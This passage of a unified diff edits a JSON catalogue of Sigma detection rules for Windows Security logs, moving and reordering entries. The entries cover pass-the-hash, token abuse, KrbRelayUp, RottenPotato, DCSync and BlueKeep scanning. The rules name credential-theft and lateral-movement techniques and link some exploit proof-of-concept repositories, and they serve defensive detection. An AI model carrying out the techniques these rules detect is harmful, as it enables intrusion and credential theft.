category", - "logsource.product": "windows", - "refs": [ - "https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html", - "https://twitter.com/Purp1eW0lf/status/1616144561965002752", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_successful_external_remote_rdp_login.yml" - ], - "tags": [ - "attack.initial_access", - "attack.credential_access", - "attack.t1133", - "attack.t1078", - "attack.t1110" - ] - }, - "related": [ - { - "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "259a9cdf-c4dd-4fa2-b243-2269e5ab18a2", - "value": "External Remote RDP Logon from Public IP" - }, { "description": "Detects process handle on LSASS process with certain access mask and object type SAM_DOMAIN", "meta": { @@ -8988,8 +8370,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://www.vectra.ai/blogpost/undermining-microsoft-teams-security-by-mining-tokens", + "https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_teams_suspicious_objectaccess.yml" ], "tags": [ @@ -9022,8 +8404,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://adsecurity.org/?p=2053", "https://www.harmj0y.net/blog/activedirectory/roasting-as-reps/", + "https://adsecurity.org/?p=2053", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_enable_weak_encryption.yml" ], "tags": [ @@ -9151,8 +8533,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://securitydatasets.com/notebooks/small/windows/08_lateral_movement/SDWIN-200806015757.html?highlight=create%20file", "https://github.com/OTRF/ThreatHunter-Playbook/blob/f7a58156dbfc9b019f17f638b8c62d22e557d350/playbooks/WIN-201012004336.yaml", + "https://securitydatasets.com/notebooks/small/windows/08_lateral_movement/SDWIN-200806015757.html?highlight=create%20file", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_smb_file_creation_admin_shares.yml" ], "tags": [ @@ -9185,8 +8567,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/duzvik/status/1269671601852813320", "https://medium.com/@7a616368/can-you-track-processes-accessing-the-camera-and-microphone-7e6885b37072", + "https://twitter.com/duzvik/status/1269671601852813320", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_camera_microphone_access.yml" ], "tags": [ @@ -9219,8 +8601,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://github.com/splunk/security_content/blob/0dd6de32de2118b2818550df9e65255f4109a56d/detections/endpoint/petitpotam_network_share_access_request.yml", "https://github.com/topotam/PetitPotam", + "https://github.com/splunk/security_content/blob/0dd6de32de2118b2818550df9e65255f4109a56d/detections/endpoint/petitpotam_network_share_access_request.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_petitpotam_network_share.yml" ], "tags": [ @@ -9286,9 +8668,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html", "https://www.specterops.io/assets/resources/an_ace_up_the_sleeve.pdf", "https://docs.microsoft.com/en-us/windows/win32/adschema/attributes-all", - "http://www.stuffithoughtiknew.com/2019/02/detecting-bloodhound.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_ad_user_enumeration.yml" ], "tags": [ @@ -9321,9 +8703,9 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://adsecurity.org/?p=3466", "https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/", "https://msdn.microsoft.com/en-us/library/cc220234.aspx", - "https://adsecurity.org/?p=3466", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_alert_ad_user_backdoors.yml" ], "tags": [ @@ -9343,40 +8725,6 @@ "uuid": "300bac00-e041-4ee2-9c36-e262656a6ecc", "value": "Active Directory User Backdoors" }, - { - "description": "Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.", - "meta": { - "author": "Roberto Rodriguez (source), Dominik Schaudel (rule)", - "creation_date": "2018/02/12", - "falsepositive": [ - "Runas command-line tool using /netonly parameter" - ], - "filename": "win_security_overpass_the_hash.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://cyberwardog.blogspot.de/2017/04/chronicles-of-threat-hunter-hunting-for.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_overpass_the_hash.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.s0002", - "attack.t1550.002" - ] - }, - "related": [ - { - "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "192a0330-c20b-4356-90b6-7b7049ae0b87", - "value": "Successful Overpass the Hash Attempt" - }, { "description": "Detects possible addition of shadow credentials to an active directory object.", "meta": { @@ -9425,8 +8773,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_mal_wceaux_dll.yml" ], "tags": [ @@ -9461,8 +8809,8 @@ "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/08/29/cobalt-strike-a-defenders-guide/", - "https://www.sans.org/webcasts/119395", "https://www.crowdstrike.com/blog/getting-the-bacon-from-cobalt-strike-beacon/", + "https://www.sans.org/webcasts/119395", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_cobaltstrike_service_installs.yml" ], "tags": [ @@ -9500,27 +8848,6 @@ "uuid": "d7a95147-145f-4678-b85d-d1ff4a3bb3f6", "value": "CobaltStrike Service Installations - Security" }, - { - "description": "Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/12/22", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_samaccountname_spoofing_cve_2021_42287.yml", - "level": "high", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_samaccountname_spoofing_cve_2021_42287.yml" - ], - "tags": "No established tags" - }, - "uuid": "45eb2ae2-9aa2-4c3a-99a5-6e5077655466", - "value": "Suspicious Computer Account Name Change CVE-2021-42287" - }, { "description": "Addition of domains is seldom and should be verified for legitimacy.", "meta": { @@ -9567,10 +8894,10 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ + "https://blog.blacklanternsecurity.com/p/detecting-dcsync?s=r", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662", "https://gist.github.com/gentilkiwi/dcc132457408cf11ad2061340dcb53c2", "https://twitter.com/gentilkiwi/status/1003236624925413376", - "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662", - "https://blog.blacklanternsecurity.com/p/detecting-dcsync?s=r", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_dcsync.yml" ], "tags": [ @@ -9708,8 +9035,8 @@ "logsource.category": "No established category", "logsource.product": "windows", "refs": [ - "https://twitter.com/malmoeb/status/1511760068743766026", "https://github.com/WazeHell/sam-theadmin/blob/main/sam_the_admin.py", + "https://twitter.com/malmoeb/status/1511760068743766026", "https://github.com/helloexp/0day/blob/614227a7b9beb0e91e7e2c6a5e532e6f7a8e883c/00-CVE_EXP/CVE-2021-42287/sam-the-admin/sam_the_admin.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_susp_computer_name.yml" ], @@ -9768,152 +9095,6 @@ "uuid": "614cf376-6651-47c4-9dcc-6b9527f749f4", "value": "Suspicious Scheduled Task Update" }, - { - "description": "Detect remote login by Administrator user (depending on internal pattern).", - "meta": { - "author": "juju4", - "creation_date": "2017/10/29", - "falsepositive": [ - "Legitimate administrative activity." - ], - "filename": "win_security_admin_rdp_login.yml", - "level": "low", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://car.mitre.org/wiki/CAR-2016-04-005", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_admin_rdp_login.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1078.001", - "attack.t1078.002", - "attack.t1078.003", - "car.2016-04-005" - ] - }, - "related": [ - { - "dest-uuid": "6151cbea-819b-455a-9fa6-99a1cc58797d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "fdc47f44-dd32-4b99-af5f-209f556f63c2", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "0f63e1ef-1eb9-4226-9d54-8927ca08520a", - "value": "Admin User Remote Logon" - }, - { - "description": "Detects OilRig schedule task persistence as reported by Nyotron in their March 2018 report", - "meta": { - "author": "Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2018/03/23", - "falsepositive": [ - "Unlikely" - ], - "filename": "win_security_apt_oilrig_mar18.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://web.archive.org/web/20180402134442/https://nyotron.com/wp-content/uploads/2018/03/Nyotron-OilRig-Malware-Report-March-2018C.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_apt_oilrig_mar18.yml" - ], - "tags": [ - "attack.persistence", - "attack.g0049", - "attack.t1053.005", - "attack.s0111", - "attack.t1543.003", - "attack.defense_evasion", - "attack.t1112", - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "related": [ - { - "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "c0580559-a6bd-4ef6-b9b7-83703d98b561", - "value": "OilRig APT Schedule Task Persistence - Security" - }, - { - "description": "Detects remote printer driver load from Detailed File Share in Security logs that are a sign of successful exploitation attempts against print spooler vulnerability CVE-2021-1675 and CVE-2021-34527", - "meta": { - "author": "INIT_6", - "creation_date": "2021/07/02", - "falsepositive": [ - "Unknown" - ], - "filename": "win_security_exploit_cve_2021_1675_printspooler_security.yml", - "level": "critical", - "logsource.category": "No established category", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/INIT_3/status/1410662463641731075", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/win_security_exploit_cve_2021_1675_printspooler_security.yml" - ], - "tags": [ - "attack.execution", - "attack.t1569", - "cve.2021.1675", - "cve.2021.34527" - ] - }, - "related": [ - { - "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "8fe1c584-ee61-444b-be21-e9054b229694", - "value": "CVE-2021-1675 Print Spooler Exploitation IPC Access" - }, { "description": "Detects a threat actor creating a file named `iertutil.dll` in the `C:\\Program Files\\Internet Explorer\\` directory over the network for a DCOM InternetExplorer DLL Hijack scenario.", "meta": { @@ -9955,6 +9136,627 @@ "uuid": "c39f0c81-7348-4965-ab27-2fde35a1b641", "value": "DCOM InternetExplorer.Application Iertutil DLL Hijack - Security" }, + { + "description": "Detects the default \"UserName\" used by the DiagTrackEoP POC", + "meta": { + "author": "Nasreddine Bencherchali (Nextron Systems)", + "creation_date": "2022/08/03", + "falsepositive": [ + "Unlikely" + ], + "filename": "win_security_diagtrack_eop_default_login_username.yml", + "level": "critical", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L46", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_diagtrack_eop_default_login_username.yml" + ], + "tags": [ + "attack.privilege_escalation" + ] + }, + "uuid": "2111118f-7e46-4fc8-974a-59fd8ec95196", + "value": "DiagTrackEoP Default Login Username" + }, + { + "description": "Detects the attack technique pass the hash which is used to move laterally inside the network", + "meta": { + "author": "Dave Kennedy, Jeff Warren (method) / David Vassallo (rule)", + "creation_date": "2019/06/14", + "falsepositive": [ + "Administrator activity" + ], + "filename": "win_security_pass_the_hash_2.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://blog.stealthbits.com/how-to-detect-pass-the-hash-attacks/", + "https://github.com/iadgov/Event-Forwarding-Guidance/tree/master/Events", + "https://blog.binarydefense.com/reliably-detecting-pass-the-hash-through-event-log-analysis", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_pass_the_hash_2.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1550.002" + ] + }, + "related": [ + { + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "8eef149c-bd26-49f2-9e5a-9b00e3af499b", + "value": "Pass the Hash Activity 2" + }, + { + "description": "Detects logon events that specify new credentials", + "meta": { + "author": "Max Altgelt (Nextron Systems)", + "creation_date": "2022/04/06", + "falsepositive": [ + "Legitimate remote administration activity" + ], + "filename": "win_security_susp_logon_newcredentials.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://go.recordedfuture.com/hubfs/reports/mtp-2021-0914.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_logon_newcredentials.yml" + ], + "tags": "No established tags" + }, + "uuid": "def8b624-e08f-4ae1-8612-1ba21190da6b", + "value": "Outgoing Logon with New Credentials" + }, + { + "description": "Detects logon events that have characteristics of events generated during an attack with KrbRelayUp and the like", + "meta": { + "author": "@SBousseaden, Florian Roth", + "creation_date": "2022/04/27", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_susp_krbrelayup.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/sbousseaden/status/1518976397364056071?s=12&t=qKO5eKHvWhAP19a50FTZ7g", + "https://github.com/elastic/detection-rules/blob/fb6ee2c69864ffdfe347bf3b050cb931f53067a6/rules/windows/privilege_escalation_krbrelayup_suspicious_logon.toml", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_krbrelayup.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access" + ] + }, + "uuid": "749c9f5e-b353-4b90-a9c1-05243357ca4b", + "value": "KrbRelayUp Attack Pattern" + }, + { + "description": "Detects successful logon from public IP address via SMB. This can indicate a publicly-exposed SMB port.", + "meta": { + "author": "Micah Babinski (@micahbabinski), Zach Mathis (@yamatosecurity)", + "creation_date": "2023/01/19", + "falsepositive": [ + "Legitimate or intentional inbound connections from public IP addresses on the SMB port." + ], + "filename": "win_security_successful_external_remote_smb_login.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html", + "https://twitter.com/Purp1eW0lf/status/1616144561965002752", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_successful_external_remote_smb_login.yml" + ], + "tags": [ + "attack.initial_access", + "attack.credential_access", + "attack.t1133", + "attack.t1078", + "attack.t1110" + ] + }, + "related": [ + { + "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "78d5cab4-557e-454f-9fb9-a222bd0d5edc", + "value": "External Remote SMB Logon from Public IP" + }, + { + "description": "A login from a public IP can indicate a misconfigured firewall or network boundary.", + "meta": { + "author": "NVISO", + "creation_date": "2020/05/06", + "falsepositive": [ + "Legitimate logon attempts over the internet", + "IPv4-to-IPv6 mapped IPs" + ], + "filename": "win_security_susp_failed_logon_source.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_failed_logon_source.yml" + ], + "tags": [ + "attack.initial_access", + "attack.persistence", + "attack.t1078", + "attack.t1190", + "attack.t1133" + ] + }, + "related": [ + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "f88e112a-21aa-44bd-9b01-6ee2a2bbbed1", + "value": "Failed Logon From Public IP" + }, + { + "description": "RDP login with localhost source address may be a tunnelled login", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2019/01/28", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_rdp_localhost_login.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_rdp_localhost_login.yml" + ], + "tags": [ + "attack.lateral_movement", + "car.2013-07-002", + "attack.t1021.001" + ] + }, + "related": [ + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "51e33403-2a37-4d66-a574-1fda1782cc31", + "value": "RDP Login from Localhost" + }, + { + "description": "Detects activity when a security-enabled global group is deleted", + "meta": { + "author": "Alexandr Yampolskyi, SOC Prime", + "creation_date": "2023/04/26", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_security_enabled_global_group_deleted.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=634", + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4730", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_security_enabled_global_group_deleted.yml" + ], + "tags": "No established tags" + }, + "uuid": "b237c54b-0f15-4612-a819-44b735e0de27", + "value": "A Security-Enabled Global Group Was Deleted" + }, + { + "description": "Detection of logins performed with WMI", + "meta": { + "author": "Thomas Patzke", + "creation_date": "2019/12/04", + "falsepositive": [ + "Monitoring tools", + "Legitimate system administration" + ], + "filename": "win_security_susp_wmi_login.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_wmi_login.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047" + ] + }, + "related": [ + { + "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "5af54681-df95-4c26-854f-2565e13cfab0", + "value": "Login with WMI" + }, + { + "description": "Detects potential token impersonation and theft. Example, when using \"DuplicateToken(Ex)\" and \"ImpersonateLoggedOnUser\" with the \"LOGON32_LOGON_NEW_CREDENTIALS flag\".", + "meta": { + "author": "Michaela Adams, Zach Mathis", + "creation_date": "2022/11/06", + "falsepositive": [ + "Anti-Virus" + ], + "filename": "win_security_access_token_abuse.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.manageengine.com/log-management/cyber-security/access-token-manipulation.html", + "https://www.elastic.co/fr/blog/how-attackers-abuse-access-token-manipulation", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_access_token_abuse.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1134.001" + ] + }, + "related": [ + { + "dest-uuid": "86850eff-2729-40c3-b85e-c4af26da4a2d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "02f7c9c1-1ae8-4c6a-8add-04693807f92f", + "value": "Potential Access Token Abuse" + }, + { + "description": "Detects activity when a member is removed from a security-enabled global group", + "meta": { + "author": "Alexandr Yampolskyi, SOC Prime", + "creation_date": "2023/04/26", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_member_removed_security_enabled_global_group.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://nvlpubs.nist.gov/nistpubs/CSWP/NIST.CSWP.04162018.pdf", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=4729", + "https://www.cisecurity.org/controls/cis-controls-list/", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventID=633", + "https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_member_removed_security_enabled_global_group.yml" + ], + "tags": "No established tags" + }, + "uuid": "02c39d30-02b5-45d2-b435-8aebfe5a8629", + "value": "A Member Was Removed From a Security-Enabled Global Group" + }, + { + "description": "Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like", + "meta": { + "author": "@SBousseaden, Florian Roth", + "creation_date": "2019/11/15", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_susp_rottenpotato.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://twitter.com/SBousseaden/status/1195284233729777665", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_susp_rottenpotato.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access", + "attack.t1557.001" + ] + }, + "related": [ + { + "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "16f5d8ca-44bd-47c8-acbe-6fc95a16c12f", + "value": "RottenPotato Like Attack Pattern" + }, + { + "description": "Detect potential adversaries leveraging WMI ActiveScriptEventConsumers remotely to move laterally in a network", + "meta": { + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "creation_date": "2020/09/02", + "falsepositive": [ + "SCCM" + ], + "filename": "win_security_scrcons_remote_wmi_scripteventconsumer.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://threathunterplaybook.com/hunts/windows/200902-RemoteWMIActiveScriptEventConsumers/notebook.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_scrcons_remote_wmi_scripteventconsumer.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.privilege_escalation", + "attack.persistence", + "attack.t1546.003" + ] + }, + "related": [ + { + "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "9599c180-e3a8-4743-8f92-7fb96d3be648", + "value": "Remote WMI ActiveScriptEventConsumers" + }, + { + "description": "Detects the use of a scanner by zerosum0x0 that discovers targets vulnerable to CVE-2019-0708 RDP RCE aka BlueKeep", + "meta": { + "author": "Florian Roth (Nextron Systems), Adam Bradbury (idea)", + "creation_date": "2019/06/02", + "falsepositive": [ + "Unlikely" + ], + "filename": "win_security_rdp_bluekeep_poc_scanner.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://github.com/zerosum0x0/CVE-2019-0708", + "https://twitter.com/AdamTheAnalyst/status/1134394070045003776", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_rdp_bluekeep_poc_scanner.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1210", + "car.2013-07-002" + ] + }, + "related": [ + { + "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "8400629e-79a9-4737-b387-5db940ab2367", + "value": "Scanner PoC for CVE-2019-0708 RDP RCE Vuln" + }, + { + "description": "Detects successful logon from public IP address via RDP. This can indicate a publicly-exposed RDP port.", + "meta": { + "author": "Micah Babinski (@micahbabinski), Zach Mathis (@yamatosecurity)", + "creation_date": "2023/01/19", + "falsepositive": [ + "Legitimate or intentional inbound connections from public IP addresses on the RDP port." + ], + "filename": "win_security_successful_external_remote_rdp_login.yml", + "level": "medium", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://www.inversecos.com/2020/04/successful-4624-anonymous-logons-to.html", + "https://twitter.com/Purp1eW0lf/status/1616144561965002752", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_successful_external_remote_rdp_login.yml" + ], + "tags": [ + "attack.initial_access", + "attack.credential_access", + "attack.t1133", + "attack.t1078", + "attack.t1110" + ] + }, + "related": [ + { + "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "259a9cdf-c4dd-4fa2-b243-2269e5ab18a2", + "value": "External Remote RDP Logon from Public IP" + }, + { + "description": "Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.", + "meta": { + "author": "Roberto Rodriguez (source), Dominik Schaudel (rule)", + "creation_date": "2018/02/12", + "falsepositive": [ + "Runas command-line tool using /netonly parameter" + ], + "filename": "win_security_overpass_the_hash.yml", + "level": "high", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + "https://cyberwardog.blogspot.de/2017/04/chronicles-of-threat-hunter-hunting-for.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/security/account_management/win_security_overpass_the_hash.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.s0002", + "attack.t1550.002" + ] + }, + "related": [ + { + "dest-uuid": "e624264c-033a-424d-9fd7-fc9c3bbdb03e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "192a0330-c20b-4356-90b6-7b7049ae0b87", + "value": "Successful Overpass the Hash Attempt" + }, + { + "description": "Detects activity when a member is added to a security-enabled global group", + "meta": { + "author": "Alexandr Yampolskyi, SOC Prime", + "creation_date": "2023/04/26", + "falsepositive": [ + "Unknown" + ], + "filename": "win_security_member_added_security_enabled_global_group.yml", + "level": "low", + "logsource.category": "No established category", + "logsource.product": "windows", + "refs": [ + 